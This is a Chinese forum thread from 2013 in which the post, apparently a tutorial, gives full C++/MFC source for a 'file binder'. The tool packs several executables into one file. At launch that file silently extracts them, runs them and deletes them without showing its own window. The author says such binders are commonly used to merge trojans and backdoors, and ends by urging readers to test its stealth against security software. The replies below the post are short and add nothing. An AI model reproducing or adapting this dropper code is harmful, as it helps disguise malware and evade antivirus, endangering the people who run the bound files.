查看: 1583|回复: 25

从零开始玩编程系列之一:文件捆绑器

[复制链接]
发表于 2013-11-28 10:32:41 | 显示全部楼层 |阅读模式
将多个文件合并成一个最终可执行文件,运行这个最终合成文件后,就相当于运行了合并前的多个文件,这种程序在木马或后门程序合并中会经常用到,你想知道它是怎么用程序实现的么?下面我就用VC6做的一个文件捆绑器的例子来告诉你。   
其实文件捆绑器的构成思想非常简单:合并文件时,建立一个新的二进制文件,先写入你的自身捆绑程序的数据和文件长度,再写入你要捆绑的第一个文件的数据和其文件长度,跟着写入你要捆绑的第二个文件的数据和文件长度……最后直接写入你要捆绑的最后一个文件的数据(不需其文件长度)。分解释放最终合成文件时,将上面的方法倒过来既可:打开最终合成文件,读取源自身捆绑程序文件长度,将文件指针移到自身捆绑程序数据后,读取第一个被绑定文件的长度,接着读取其长度的文件数据并写入到一新建文件1中,再读取第二个被绑定文件的长度,接着读取其长度的数据并写入到新建文件2中……直到最后直接读取最后一个被绑定文件的数据并将其写入到最后一个新建文件中既可(下面实例仅告诉你如何实现两个文件的捆绑,至于多个文件的捆绑,读者只需略加改动既可,详情请查看配套光盘中的实例代码。)   
下面我来讲讲文件捆绑最核心的部分,以及如何具体将其用代码来实现的方法(文章尽量采取行行注释的方法,希望每个读者朋友都能看懂)。   捆绑多个文件为一个可执行程序  
      先得到自身捆绑程序的文件长度和第一个要捆绑文件的文件长度,枚举第一个要捆绑文件有无图标,有的话就用它做为最终生成文件的图标,否则用自身捆绑程序所带默认图标做最终生成文件的图标。在新建二进制文件中写入自身捆绑程序的数据和其文件长度,再写入第一个要捆绑文件的数据及其文件长度,最后直接写入第二个文件的数据既可。   
下面是合并程序函数的具体代码实现如下:   
//定义要使用到的捆绑程序自身文件信息的结构体   
struct MODIFY_DATA {   
unsigned int finder; // 常量(定位自身)   
_off_t my_length; //文件长度(自身)   
} modify_data = {0x12345678, 0};   
//绑定二个文件为一个可执行文件   
bool CBindFileDlg::Bind_Files()   
{   
FILE* myself; //自身文件   
FILE* out; //最终合成文件   
FILE* in; //待绑定文件   
int bytesin; //一次读文件字节数   
int totalbytes = 0; //读出文件总字节数   
struct _stat ST; //文件的状态信息(如文件长度等)   
unsigned int finder = 0x12345678; //自身文件定位   
unsigned int i, k;   
int l=1; //进度条状态显示变量   
char buff[20]; //进度条状态显示变量   
his_name = strFirstFilePath; //第一个绑定的文件名   
_stat(my_name, &ST); //获取自身捆绑文件信息   
modify_data.my_length = ST.st_size; //得到自身文件长度   
if (modify_data.my_length == 0)   
{   
MessageBox("绑定文件中,自身文件长度为零时出错!","错误");   
return false;   
}   
buf = (BYTE *)malloc(modify_data.my_length); //分配一定大小缓冲区   
if (buf == NULL)   
{   
MessageBox("绑定文件中,分配自身文件长度时出错!","错误");   
return false;   
}   
myself = fopen(my_name, "rb"); //打开自身文件   
if (myself == NULL)   
{   
free(buf);   
MessageBox("绑定文件中,打开自身文件时出错!","错误");   
return false;   
}   
//先读取捆绑程序自身文件数据   
bytesin = fread(buf, 1, modify_data.my_length, myself);   
fclose(myself);   
if (bytesin != modify_data.my_length)   
{   
free(buf);   
MessageBox("绑定文件中,不能完全读取自身文件内容时出错!","错误"  
);   
return false;   
}   
//存储自身文件信息到缓冲区(如长度)   
for (i = 0; i < modify_data.my_length - sizeof(finder); i += sizeof(finder))   
{   
for (k = 0; k < sizeof(finder); k++)   
{   
if (buf[i+k] != ((BYTE*)&finder)[k])   
break;   
}   
if (k == sizeof(finder)) //定位并保存自身数据文件信息   
{   
memcpy(buf+ i, &modify_data, sizeof(modify_data));   
break;   
}   
}   
if (i >= modify_data.my_length - sizeof(finder))   
{   
free(buf);   
MessageBox("绑定文件中,不能定位自身文件时出错!","错误");   
return false;   
}   
//获取第一个要绑定文件的信息(文件长度)   
if (_stat(strFirstFilePath, &ST) != 0 || ST.st_size == 0)   
{   
free(buf);   
MessageBox("绑定文件中,读取第一个要绑定文件时出错!","错误");   
return false;   
}   
//获取自身文件图标及第一个要绑定文件的图标(如第一个要绑定文件没有图标,   
//则用自身文件图标。其涵数实现请参看例程)   
list_my_icons();   
out = fopen(strFinalFilePath, "wb"); //创建最终合成文件   
if (out == NULL)   
{   
free(buf);   
MessageBox("绑定文件中,创建绑定后生成的合成文件时出错!","错误");   
return false;   
}   
//先将前面读出的自身捆绑程序的数据写入最终合成文件中   
totalbytes += fwrite(buf, 1, bytesin, out);   
in = fopen(strFirstFilePath, "rb"); //打开第一个要绑定的文件   
if (in == NULL)   
{   
free(buf);   
MessageBox("绑定文件中,打开第一个要绑定文件时出错!","错误");   
return false;   
}   
//写入第一个要绑定文件的长度到最终合成文件中   
totalbytes += fwrite(&ST.st_size, 1, sizeof(ST.st_size), out);   
//写入最终分解后文件执行方式的标志位(同步或异步执行)   
UpdateData(TRUE); //传控件值到变量m_Sync中   
totalbytes += fwrite(&m_Sync, 1, sizeof(int), out);   
//写入第一个要绑定文件的数据到最终合成文件中   
while (bytesin = fread(buf, 1, modify_data.my_length, in))   
{   
totalbytes += fwrite(buf, 1, bytesin, out);   
}   
fclose(in); //关闭第一个绑定文件句柄   
//设置进度条显示   
m_Progress.SetRange(0,500);   
for (int m = 0; m < 500; m++)   
m_Progress.SetPos(m);   
m_Parts = _ltoa(l, buff, 10);   
m_Parts += _T("个文件已绑定");   
UpdateData(FALSE);   
l++;   
in = fopen(strSecondFilePath, "rb"); //打开第二个要绑定的文件   
if (in == NULL)   
{   
free(buf);   
MessageBox("绑定文件中,打开第二个要绑定文件时出错!","错误");   
return false;   
}   
//直接写入第二个要绑定文件的数据到最终合成文件中   
while (bytesin = fread(buf, 1, modify_data.my_length, in))   
{   
totalbytes += fwrite(buf, 1, bytesin, out);   
}   
//设置进度条显示   
m_Progress.SetRange(0,500);   
for (int n = 0; n < 500; n++)   
m_Progress.SetPos(n);   
m_Parts = _ltoa(l, buff, 10);   
m_Parts += _T("个文件已绑定");   
UpdateData(FALSE);   
l++;   
fclose(in); //关闭第二个绑定文件句柄   
fclose(out); //关闭最终合成文件句柄   
free(buf); //释放缓冲区   
return true;   
}   释放最终合成文件   
     打开自身文件,从中得到自身捆绑程序的文件长度,便可将文件指针定位到第一个被捆绑文件的位置,读取其文件长度和其数据,将读出的数据写入第一个新建文件中。同样,通过已读取的自身捆绑程序文件长度和第一个被捆绑文件的文件长度加上保存这两个文件长度值的字节数,便可以准确定位第二个被捆绑文件的位置,读取其数据,写入到第二个新建文件中。同时,运行这两个文件,最后再删除这两个文件既可。   
释放最终合成文件的代码具体实现如下:   
//创建分解文件后,运行各分解文件时的进程   
void CBindFileDlg::Create_Process(const char* temp_exe, BOOL async)   
{   
HANDLE hProcess; //进程句柄   
HANDLE hThread; //线程句柄   
PROCESS_INFORMATION PI; //进程信息   
STARTUPINFO SI; //启动信息   
memset(&SI, 0, sizeof(SI)); //分配一定的内存   
SI.cb = sizeof(SI); //大小赋给启动信息内CB   
CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);   
/* --- 暂不用,否则需要保存原始绑定的文件名称   
//如果分解后的文件不是执行文件的话,则直接打开它   
if(!CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI))   
HINSTANCE result =ShellExecute(NULL, _T("open"), temp_exe, NULL,NULL, SW_SHOW);   
--- */   
hProcess = PI.hProcess;   
hThread = PI.hThread;   
//异步执行时,执行后不删除分解后的文件;同步执行时,执行后删除分解后的文件   
if (!async) //当同步执行时   
{   
//一直等待,直到当前程序运行进程结束   
WaitForSingleObject(hProcess, INFINITE);   
unlink(temp_exe); //删除temp.exe文件   
}   
}   
//分解已合并的文件,同时运行它们   
void CBindFileDlg::Unbind()   
{   
FILE* myself; //自身文件   
FILE* out; //分解后文件   
int bytesin; //一次读出文件的字节数   
int totalbytes = 0; //读出文件的总字节数   
char temp_exe1[] = "temp1.exe"; //分解后的绑定文件名一(可任意取)   
char temp_exe2[] = "temp2.exe"; //分解后的绑定文件名二(可任意取)   
int SyncFlag; //文件最终执行标志(同步或异步)   
//先分配一定大小的缓冲区(大小等于捆绑程序长度)   
buf = (BYTE*)malloc(modify_data.my_length);   
myself = fopen(my_name, "rb"); //打开最终合成文件   
if (myself == NULL)   
{   
free(buf);   
MessageBox("分离文件中,打开自身文件时出错!","错误");   
return;   
}   
out = fopen(temp_exe1, "wb"); //创建第一个绑定的文件   
if (out == NULL)   
{   
free(buf);   
MessageBox("分离文件中,创建第一个被绑定文件时出错!","错误");   
return;   
}   
//将文件指针定位到捆绑器程序长度尾部   
fseek(myself, modify_data.my_length, SEEK_SET);   
//读取第一个绑定文件的长度    
if (fread(&prog1_length, sizeof(prog1_length), 1, myself) == 0)   
{   
free(buf);   
MessageBox("分离文件中,读取第一个被绑定文件长度时出错!","错误");   
return;   
}   
//读取最终文件执行方式(同步或异步执行)   
if (fread(&SyncFlag, sizeof(int), 1, myself) == 0)   
{   
free(buf);   
MessageBox("分离文件中,读取第一个被绑定文件长度时出错!","错误");   
return;   
}   
//读取第一个文件内容并写入到新建的temp1.exe文件中   
while (bytesin = fread(buf, 1, sizeof(buf), myself))   
{   
if (totalbytes + bytesin > prog1_length)   
bytesin = prog1_length - totalbytes;   
totalbytes += fwrite(buf, 1, bytesin, out);   
}   
fclose(out); //关闭第一个绑定文件句柄   
#ifdef DEBUG_PRINT   
fprintf(stderr, "已复制 %d 字节!\n", totalbytes);   
#endif DEBUG_PRINT   
totalbytes = 0;   
out = fopen(temp_exe2, "wb"); //创建第二个绑定的文件   
if (out == NULL)   
{   
free(buf);   
MessageBox("分离文件中,创建第二个被绑定文件时出错!","错误");   
return;   
}   
//将文件指针定位到最终合成文件中的第二个绑定文件头部, 偏移量=(捆绑器自身文件长度+保存第一个绑定文件长度所占字节数+保存最终文件执行标志所占字节数+第一个绑定文件长度)   
fseek(myself,modify_data.my_length+ sizeof(modify_data.my_length) + sizeof(int) + prog1_length, SEEK_SET);   
//读取第二个绑定文件内容并写入到新建的temp2.exe文件中   
while (bytesin = fread(buf, 1, sizeof(buf), myself))   
{   
totalbytes += fwrite(buf, 1, bytesin, out);   
}   
fclose(out); //关闭第二个绑定文件句柄   
#ifdef DEBUG_PRINT   
fprintf(stderr, "已复制 %d 字节\n", totalbytes);   
#endif DEBUG_PRINT   
fclose(myself); //关闭最终合成文件句柄   
if (totalbytes == 0)   
{   
free(buf);   
MessageBox("分离文件中,在自身文件中没有被分离的对象!","错误");   
return;   
}   
free(buf); //释放缓冲区   
//判断前面读取的最终文件执行标志,来决定以何种方式运行它   
if(!SyncFlag) //(0 -- 同步执行,1 -- 异步执行)   
{   
//置为分解后,为同步执行方式   
Create_Process(temp_exe1, false);   
Create_Process(temp_exe2, false);   
}   
else   
{   
//置为分解后,为异步执行方式   
Create_Process(temp_exe1, true);   
Create_Process(temp_exe2, true);   
}   
}   判断程序捆绑、分解时间   
      由于本程序是将自身捆绑程序作为文件头,要绑定文件附加其后方式生成最终合成文件的,所以只要知道自身捆绑程序的文件长度,再在初始化对话框函数OnInitDialog()加以判断及可知道是否是最终合成文件(要不要释放内部绑定文件)。故判断是捆绑还是释放文件的代码具体实现如下:   
BOOL CBindFileDlg::OnInitDialog()   
{   
CDialog::OnInitDialog();   
// Add "About..." menu item to system menu.   
// IDM_ABOUTBOX must be in the system command range.   
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);   
ASSERT(IDM_ABOUTBOX < 0xF000);   
CMenu* pSysMenu = GetSystemMenu(FALSE);   
if (pSysMenu != NULL)   
{   
CString strAboutMenu;   
strAboutMenu.LoadString(IDS_ABOUTBOX);   
if (!strAboutMenu.IsEmpty())   
{   
pSysMenu->AppendMenu(MF_SEPARATOR);   
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);   
}   
}   
// Set the icon for this dialog. The framework does this automatically   
// when the application’’s main window is not a dialog   
SetIcon(m_hIcon, TRUE); // Set big icon   
SetIcon(m_hIcon, FALSE); // Set small icon   
//在此初始化渐变色进度条   
m_Progress.SetRange32(1,500);   
m_Progress.SetBkColor(RGB(160,180,220));   
m_Progress.ShowPercent(true);   
m_Progress.SetPos(500);   
//初始置各文件名变量为空   
strFirstFilePath = ""; //要绑定第一个文件名   
strSecondFilePath = ""; //要绑定第二个文件名   
strFinalFilePath = ""; //最终合成文件名   
//初始化变量   
prog1_length = 0; //文件长度   
his_name = ""; //绑定文件名   
buf = NULL; //缓冲区置空   
//获取自身文件名到my_mane变量中   
::GetModuleFileName(0, my_name, sizeof(my_name));   
struct _stat ST;   
_stat(my_name, &ST); //获取自身文件信息(长度)   
//在此加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件   
//当发现自身文件大小大于原大小184K时,为释放内部合成文件   
if(ST.st_size > 184*1024)   
{   
Unbind(); //分离文件并运行   
exit(0); //直接退出程序,不显示捆绑程序画面   
}   
return TRUE;   
}         好,到这里一个完整的文件捆绑器就从你的手中诞生了,你完全可以用它去挑战各类安全防护软件,看看是我们写的程序隐蔽性强,还是各大安全软件强!  
发表于 2013-12-3 18:41:41 | 显示全部楼层
好贴子不多啊  
发表于 2013-12-6 12:10:44 | 显示全部楼层
抢座位来了  
发表于 2013-12-7 13:33:58 | 显示全部楼层
你还想说什么啊....  
发表于 2013-12-7 19:29:24 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2013-12-11 00:51:28 | 显示全部楼层
有空一起交流一下  
发表于 2013-12-11 23:47:24 | 显示全部楼层
老大,我好崇拜你哟  
发表于 2013-12-12 02:16:00 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2013-12-12 21:09:20 | 显示全部楼层
接到陌生电话请先说,“你好,找哪位”  
发表于 2013-12-12 21:38:37 | 显示全部楼层
看不懂,看不懂  - -
高级模式
B Color Image Link Quote Code Smilies

本版积分规则